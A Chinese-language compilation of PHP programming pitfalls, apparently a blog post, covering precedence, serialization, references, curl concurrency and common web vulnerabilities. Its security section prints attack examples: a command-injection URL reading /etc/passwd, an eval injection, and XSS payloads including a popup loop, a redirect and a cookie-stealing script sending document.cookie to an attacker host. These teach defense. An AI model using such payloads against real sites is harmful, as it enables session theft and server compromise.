PHP编程注意事项
1、php隐性的三元操作符(?:)优先级问题:
例1:
$person = $who or $person = "laruence"; //实际上是等同于: $person = empty($who)? "laruence" : $who;
例2
$arr = array(1=>1,3=>3); $i = 2; $a = ’test‘ . isset($arr[$i]) ? $arr[$i] : $i;
$a 是什么? 这个问题, 咋一看觉得简单,
$a = ‘test2';
其实仔细推敲后运行的,结果是notice:Undefined index 2..
由于优先级的问题, 连接符的优先级比三元操作符高。
首先是判断 ' test'. isset($arr[$i]) 这个字符串永远是true,因此:
$a = $arr[$i];以致php提示提醒。
2. PHP函数名和类名不区分大小写的,而变量名是区分大小写的。
所以自己写的php模块,往往是大写的问题,编译不通过。
3.系列化传递问题
把复杂的数据类型压缩到一个字符串中
$stooges = array('Moe','Larry','Curly'); $new = serialize($stooges); print_r($new);echo "<br />"; print_r(unserialize($new)); <span style="font-family:Arial;BACKGROUND-COLOR: #ffffff"></span>
$shopping = array('Poppy seed bagel' => 2,'Plain Bagel' =>1,'Lox' =>4); echo '<a href="next.php?cart='.urlencode(serialize($shopping)).'">next</a>';
$new_cart = unserialize(stripslashes($cart)); //如果magic_quotes_gpc开启 $new_cart = unserialize($cart);
$fp = fopen('/tmp/cart','w'); fputs($fp,addslashes(serialize($a))); fclose($fp); //如果magic_quotes_runtime开启 $new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart'))); //如果magic_quotes_runtime关闭 $new_cat = unserialize(file_get_contents('/tmp/cart'));
在启用了magic_quotes_runtime的情况下,从数据库中读取序列化的数据也必须经过stripslashes()的处理,保存到数据库中的序列化数据必须要经过addslashes()的处理,以便能够适当地存储。
mysql_query("insert into cart(id,data) values(1,'".addslashes(serialize($cart))."')"); $rs = mysql_query('select data from cart where id=1'); $ob = mysql_fetch_object($rs); //如果magic_quotes_runtime开启 $new_cart = unserialize(stripslashes($ob->data)); //如果magic_quotes_runtime关闭 $new_cart = unserialize($ob->data);
当对一个对象进行反序列化操作时,PHP会自动地调用其__wakeUp()方法。这样就使得对象能够重新建立起序列化时未能保留的各种状态。例如:数据库连接等。
4. 引用注意事项
<?php $a = 1 ; $b =& $a ; unset ( $a ); echo $b; //输出:1:
使用unset($a)与$a=null的结果是不一样的。如果该块内存只有$a一个映射,那么unset($a)与$a=null等价,该内存的引用计数变为0,被自动回收;如果该块内存有$a和$b两个映射,那么unset($a)将导致$a=null且$b不变的情况,而$a=null会导致$a=$b=null的情况。
原因:某变量赋值为null,将导致该变量对应的内存块的引用计数直接置为0,被自动回收。
2)PHP引用是采用引用计数、写时拷贝
很多人误解Php中的引用跟C当中的指针一样,事实上并非如此,而且很大差别。C语言中的指针除了在数组传递过程中不用显式申明外,其他都需要使用*进行定义,而php中对于地址的指向(类似指针)功能不是由用户自己来实现的,是由Zend核心实现的,php中引用采用的是“引用计数、写时拷贝”的原理,(写时复制(Copy-on-Write,也缩写为COW),顾名思义,就是在写入时才真正复制一份内存进行修改。)
就是除非发生写操作,指向同一个地址的变量或者对象是不会被拷贝的,比如下面的代码:
$a = array('a','c'...'n');
$b = $a;
如果程序仅执行到这里,$b和$b是相同的,但是并没有像C那样,$a和$b占用不同的内存空间,而是指向了同一块内存,这就是php和c的差别,并不需要写成$b=&$a才表示$b指向$a的内存,zend就已经帮你实现了引用,并且zend会非常智能的帮你去判断什么时候该这样处理,什么时候不该这样处理。
如果在后面继续写如下代码,增加一个函数,通过引用的方式传递参数,并打印输出数组大小。
function printArray(&$arr) //引用传递 { print(count($arr)); } printArray($a);
上面的代码中,我们通过引用把$a数组传入printArray()函数,zend引擎会认为printArray()可能会导致对$a的改变,此时就会自动为$b生产一个$a的数据拷贝,重新申请一块内存进行存储。这就是前面提到的“引用计数、写时拷贝”概念。
直观的理解:$a将使用自己原始的内存空间,而$b,则会使用新开辟的内存空间,而这个空间将使用$a的原始($a或者$b改变之前)内容空间的内容的拷贝,然后做对应的改变。
如果我们把上面的代码改成下面这样:
function printArray($arr) //值传递 { print(count($arr)); } printArray($a);
上面的代码直接传递$a值到printArray()中,此时并不存在引用传递,所以没有出现写时拷贝。
具体了解引用请看:PHP中引用的详解(引用计数、写时拷贝)
5. 编码的问题
程序代码使用utf-8码,而strlen函数是计算字符串的字节数而不是字符数?
$str = “您好hello”;
echo strlen($str);
结果:ANSI=9 而utf-8=11,utf-8中文字符编码是3个字节。要获取字符数,使用mb_strlen().
6. PHP获取参数的三种方法
方法一 使用$argc $argv
<?php if ($argc > 1){ print_r($argv); }
在命令行下运行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456
运行结果:
# /usr/local/php/bin/php ./getopt.php -f 123 -g 456
Array
(
[0] => ./getopt.php
[1] => -f
[2] => 123
[3] => -g
[4] => 456
)
方法二 使用getopt函数()
$options = "f:g:"; $opts = getopt( $options ); print_r($opts);
在命令行下运行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456
运行结果:
Array
(
[f] => 123
[g] => 456
)
方法三 提示用户输入,然后获取输入的参数。有点像C语言
fwrite(STDOUT, "Enter your name: "); $name = trim(fgets(STDIN)); fwrite(STDOUT, "Hello, $name!");
在命令行下运行 /usr/local/php/bin/php ./getopt.php
运行结果
Enter your name: francis
Hello, francis!
7. php的字符串即可以当做数组,和c指针字符串一样
<?php $s = '12345'; $s[$s[0]] = 0; echo $s; ?>
结果是10345
8. PHP的高效率写法:
9. PHP的安全漏洞问题:
针对PHP的网站主要存在下面几种攻击方式:
1、命令注入(Command Injection)
PHP中可以使用下列5个函数来执行外部的应用程序或函数 system、exec、passthru、shell_exec、“(与shell_exec功能相同)
如:<?php $dir = $_GET["dir"]; if (isset($dir)) { echo ""; system("ls -al ".$dir); echo ""; } ?>
我们提交http://www.test.com/ex1.php?dir=| cat /etc/passwd,命令变成了 system("ls -al | cat /etc/passwd"); 我们服务器用户信息被窃看了吧。
2、eval注入(Eval Injection)
eval函数将输入的字符串参数当作PHP程序代码来执行,eval注入一般发生在攻击者能控制输入的字符串的时候。
$var = "var"; if (isset($_GET["arg"])) { $arg = $_GET["arg"]; eval("\$var = $arg;"); echo "\$var =".$var; } ?>
当我们提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了;
防范命令注入和eval注入的方法
1)、尽量不要执行外部命令。
2)、使用自定义函数或函数库来替代外部命令的功能,甚至有些服务器直接禁止使用这些函数。
3)、使用escapeshellarg函数来处理命令参数,esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“’”,替换成“\’”,双引号“"”,替换成“\"”,分号“;”替换成“\;”
3、客户端脚本攻击(Script Insertion)
客户端脚本植入的攻击步骤
1)、攻击者注册普通用户后登陆网站
2)、打开留言页面,插入攻击的js代码
3)、其他用户登录网站(包括管理员),浏览此留言的内容
4)、隐藏在留言内容中的js代码被执行,攻击成功
表单输入一些浏览器可以执行的脚本:
插入 <script>while(1){windows.open();}</script> 无限弹框
插入<script>location.href="http://www.sectop.com";</script> 跳转钓鱼页面
防止恶意HTML标签的最好办法是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。4、跨网站脚本攻击(Cross Site Scripting, XSS)
恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。
跨站脚本攻击的一般步骤:
1)、攻击者以某种方式发送xss的http链接给目标用户,例如评论表单:
插入<script>document.location= “go.somewhere.bad?cookie=+“this.cookie</script>
或者是链接:
http://w w w.my.site/index.php?user=< script >document.location="http://w w w.atacker.site/get.php?cookie="+document.cookie;< / script >
2)、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接
3)、网站执行了此xss攻击脚本
4)、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息
5)、攻击者使用目标用户的信息登录网站,完成攻击
防止恶意HTML标签的最好办法还是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。
5、SQL注入攻击(SQL injection)
SQL注入最有效的防御方式是使用准备语句:
准备语句(也叫预备语句 prepared statements),是一种查询,先将他们发送到服务器进行预编译和准备,并且在以后的执行这个查询时告诉它存储参数的位置。
其优点:
1)对参数值进行转义。因此不必调用像mysqli::real_escape_string或者将参数放在引号中。
2)当在一个脚本中多次执行时,预备语句的性能通常好于每次都通过网络发送查询,当再次执行一个查询时,只将参数发送到数据库,这占用的空间比较少。
1)用PDO(PHP Data Objects ):
PHP PDO::prepare() and execute() $preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)'); $preparedStatement->execute(array(':column' => $unsafeValue));
2) 使用mysqli:
$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?'); $stmt->bind_param('s', $name); $stmt->execute(); $result = $stmt->get_result(); while ($row = $result->fetch_assoc()) { // do something with $row }
6、跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)
7、Session 会话劫持(Session Hijacking)
8、Session 固定攻击(Session Fixation)
9、HTTP响应拆分攻击(HTTP Response Splitting)
10、文件上传漏洞(File Upload Attack)
11、目录穿越漏洞(Directory Traversal)
12、远程文件包含攻击(Remote Inclusion)
13、动态函数注入攻击(Dynamic Variable Evaluation)
14、URL攻击(URL attack)
15、表单提交欺骗攻击(Spoofed Form Submissions)
16、HTTP请求欺骗攻击(Spoofed HTTP Requests)
几个重要的php.ini选项:register_globals、、magic_quotes、safe_mode。 这个几个选项在PHP5.4都将被弃用。
register_globals:
php>=4.2.0,php.ini的register_globals选项的默认值预设为Off,当register_globals
的设定为On时,程序可以接收来自服务器的各种环境变量,包括表单提交的变量,而且由于PHP不必事先初始化变量的值,从而导致很大的安全隐患。
要确保禁用 register_globals。如果启用了 register_globals,就可能做一些粗心的事情,比如使用 $variable 替换同名的 GET 或 POST 字符串。通过禁用这个设置,PHP 强迫您在正确的名称空间中引用正确的变量。要使用来自表单 POST 的变量,应该引用 $_POST['variable']。这样就不会将这个特定变量误会成 cookie、会话或 GET 变量。
safe_mode:
安全模式,PHP用来限制文档的存取、限制环境变量的存取,控制外部程序的执行。启用安全模式必须设置php.ini中的safe_mode=On
magic_quotes
用来让php程序的输入信息自动转义,所有的单引号(“'”),双引号(“"”),反斜杠(“\”)和空字符(NULL),都自动被加上反斜杠进行转义magic_quotes_gpc=On用来设置magicquotes为On,它会影响HTTP请求的数据(GET、POST、Cookies)程序员也可以使用addslashes来转义提交的HTTP 请求数据,或者用stripslashes 来删除转义。
10. curl多请求并发使用
curl大家一定使用过,但并发使用的情况估计不多。但在某些情况下确实比较有用,比如在同一请求里面调用多个他方接口,传统方法我们需要串行请求接口:
file_get_contents('http://a.php');//1秒
file_get_contents('http://b.php');//2秒
file_get_contents('http://c.php');//2秒
那在这里耗时为5秒,但运营curl的muti方法,我们只需2秒就可请求完毕. 在php的手册里面有一段代码:
$mrc = curl_multi_init(); //发出请求 ....... $active = null; do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); while ($active && $mrc == CURLM_OK) { if (curl_multi_select($mh) != -1) { do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } } //下面是处理请求返回的结果
但如果我有1000个请求,那么curl批处理将并发1000个请求,显然是不合理,所以应该要控制一个并发数,并且将剩余的连接添加到请求队列里:
参考:How to use curl_multi() without blocking
<?php $connomains = array( //2.php自己去些 "http://localhost/2.php?id=1",//sleep(1)秒 "http://localhost/2.php?id=2",//sleep(2)秒 "http://localhost/2.php?id=5",//sleep(5)秒 ); $mh = curl_multi_init(); foreach ($connomains as $i => $url) { $conn[$i] = curl_init($url);//初始化各个子连接 curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);//不直接输出到浏览器 curl_multi_add_handle ($mh,$conn[$i]);//加入多处理句柄 } $active = 0;//连接数 do { do{ //这里$active会被改写成当前未处理数 //全部处理成功$active会变成0 $mrc = curl_multi_exec($mh, $active); //这个循环的目的是尽可能的读写,直到无法继续读写为止(返回CURLM_OK) //返回(CURLM_CALL_MULTI_PERFORM)就表示还能继续向网络读写 }while($mrc==CURLM_CALL_MULTI_PERFORM); //如果一切正常,那么我们要做一个轮询,每隔一定时间(默认是1秒)重新请求一次 //这就是curl_multi_select的作用,它在等待过程中,如果有就返回目前可以读写的句柄数量,以便 //继续读写操作,0则没有可以读写的句柄(完成了) } while ($mrc==CURLM_OK&& $active &&curl_multi_select($mh)!=-1);//直到出错或者全部读写完毕 if ($mrc != CURLM_OK) { print "Curl multi read error $mrc/n"; } // retrieve data foreach ($connomains as $i => $url) { if (($err = curl_error($conn[$i])) == '') { $res[$i]=curl_multi_getcontent($conn[$i]); } else { print "Curl error on handle $i: $err/n"; } curl_multi_remove_handle($mh,$conn[$i]); curl_close($conn[$i]); } curl_multi_close($mh); print_r($res); ?>
有的人为了省事,这样写:
do { curl_multi_exec($mh,$active); } while ($active);
看似也能得到结果,但其实很不严谨,并且很浪费cpu,因为这个循环会一直在不停的调用,直到所有链接处理完毕,在循环里面加个print 'a' 就可看出效果了。
11、empty使用魔术方法__get判断对象属性是否为空不起作用
Please note that results
of empty() when called on non-existing / non-public variables of a class are a bit confusing if using magic method __get (as previously mentioned by nahpeps at gmx dot de). Consider this example:
<?php
class Registry
{
protected $_items =
array();
public function __set($key, $value)
{
$this->_items[$key]
= $value;
}
public function __get($key)
{
if (isset($this->_items[$key]))
{
return $this->_items[$key];
} else {
return null;
}
}
}
$registry =
new Registry();
$registry->empty = '';
$registry->notEmpty = 'not
empty';
var_dump(empty($registry->notExisting)); //
true, so far so good
var_dump(empty($registry->empty)); //
true, so far so good
var_dump(empty($registry->notEmpty)); //
true, .. say what?
$tmp = $registry->notEmpty;
var_dump(empty($tmp)); //
false as expected
?>
12、Linux下命令行执行php文件的格式必须是unix。
php
./test.php
1)如果test.php是windos上传的,其格式可能是dos。然后运行该命令就报错:Could not open input file
我们可以在vi中使用:set ff来查看格式:
fileformat=dos
如果是dos格式,那么就要使用:set ff=unix来设置新格式
再使用:set ff来查看格式,可以看到已经是unix的格式了;
fileformat=unix
2)出现bad interpreter:No such file or directory的原因
是文件格式的问题.这个文件是在Windows下编写的.换行的方式与Unix不一样,但是在VI下面如果不Set一下又完全看不出来.
解决方法:
1、上传到linux主机运行
chmod x back
./back
错误提示如下:
bash: ./back : bad interpreter:No such file or directory
2、错误分析:
操作系统是windows,在windows下编辑的脚本,有可能有不可见字符.
从你的脚本及报告的错误看来, 很有可能是你的脚本文件是DOS格式的, 即每一行的行尾以rn来标识, 其ASCII码分别是0x0D, 0x0A.
可以有很多种办法看这个文件是DOS格式的还是UNIX格式的, 还是MAC格式的
(1). vi filename
然后用命令
:set ff?
可以看到dos或unix的字样. 如果的确是dos格式的, 那么你可以用set ff=unix把它强制为unix格式的, 然后存盘退出. 再运行一遍看.
(2). 用joe filename
如果是DOS格式的, 那么行尾会有很多绿色的^M字样出现. 你也可以用上述办法把它转为UNIX格式的.
(3). 用od -t x1 filename
如果你看到有0d 0a 这样的字符, 那么它是dos格式的, 如果只有0a而没有0d, 那么它是UNIX格式的, 同样可以用上述方法把它转为UNIX格式的.
转换不同平台的文本文件格式可以用
1. unix2dos或dos2unix这两个小程序来做. 很简单. 在djgpp中这两个程序的名字叫dtou和utod, u代表unix, d代表dos
2. 也可以用sed 这样的工具来做:
sed 's/^M//' filename > tmp_filename
mv -f tmp_filename filename
来做
特别说明:^M并不是按键shift 6产生的^和字母M, 它是一个字符, 其ASCII是0x0D, 生成它的办法是先按CTRL V, 然后再回车(或CTRL M)
13. php使用长连接mysql的问题
长连接主要用于在少数客户端与服务端的频繁通信,因为这时候如果用短连接频繁通信常会发生Socket出错,并且频繁创建Socket连接也是对资源的浪费。
但是对于服务端来说,长连接也会耗费一定的资源,需要专门的线程(unix下可以用进程管理)来负责维护连接状态。
总之,长连接和短连接的选择要视情况而定。
长短连接区别
不同于mysql_connect的短连接,mysql_pconnect持久连接的时候,将先尝试寻找一个在同一个主机上用同样的用户名和密码已经打开的(持久)连接,如果找到,则返回此连接标识而不打开新连接。
当执行完毕后,到 mysql 服务器的持久连接不会被关闭,此连接将保持打开以备以后使用,即mysql_close() 不会关闭由 mysql_pconnect() 建立的连接。
Apache与长连接管理
PHP本身并没有数据库连接池的概念,但是Apache有进程池的概念, 一个Apache子进程结束后会被放回进程池, 这也就使得用mysql_pconnect打开的的那个mysql连接资源可以不被释放,而是依附在相应的Apache子进程上保存到了进程池中。于是在下一个连接请求时它就可以被复用。但是在Apache并发访问量大的时候,如果使用mysql_pconnect,会由于之前的Apache子进程占用的MySQL连接没有close, 很快使MySQL达到最大连接数,使得之后的请求可能得不到响应。
当然,高并发情况下也不能怪罪pconnect,用短连接频繁连接mysql,也一样有问题。在没有连接池的情况下,用apache做连接池管理是比较好的选择。
13. autoloa与global
php关于autoload的手册,在”EXAMPLE“部分看到有人提到这个问题
While using an "autoloading" method you should pay attention to variables scope. Because of new file will be included INSIDE of magic function __autoload - all of declared in such file global scope variables will be only available within this
function and nowhere else. This will cause strange behaviour in some cases.
“
当使用autoload方法时,要格外注意变量的作用域。由于新文件是在_autoload函数里进行include,所以include 的“新文件”中的“全局变量”就成了__autoload函数的局部变量,只能在__autoload函数作用域内引用。在某种情况下可能会导致一些奇怪的现象。
等储存用户的登录信息,然后利用
做 退出,在IE下测试没有任何问题。既然做网站,就要兼容尽可能多的浏览器,呵呵。于是在 Firefox 中测试,登陆一切正常,当推出时,遇到了麻烦。怎么也不会退出,用户总是在登录状态。于是查看了 IE、Firefox 中cookie记录的区别,经过测试,才恍然大悟。
原来如果没有指定 setcookie() 的第四个参数(合法路径参数),默认会把当前目录作为合法路径,而我测试的路径为:http://127.0.0.1/php/rss2fla/data /log.php ,所以导致登陆和退出时 所设置的 cookie 路径不同。
IE比Firefox要人性化,呵呵,当美指定路径时,会覆盖当前 IP 下的同名Cookie变量,而FireFox比较严格了,导致又重新建了个变量……
15、Mysql update from:
update tableA as t1 inner join tableB as t2 on t1.id=t2.d set t1.home=t2.home where t1.id=t2.d;
16、多使用framework
95% 的PHP项目都在做同样的四件事: Create, edit, list 和delete. 现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?
17、不知道PHP中已经有的功能
PHP的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现!PHP中的exec()是一个强大的函数,可以执行cmd
shell,并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()
18 尽快升级PHP版本
19、PHP urlencode空格变+号
php urlencode却把空格转换成了+号。 实际标准的浏览器不能理解加号为空格的。 而是%20是+号。
如何是js来decode,应该是再次转换:
$a = str_replace('+', '%20', $a); //%20标示空格的意思
但是注意:
rowurlencode 将空格转换成%20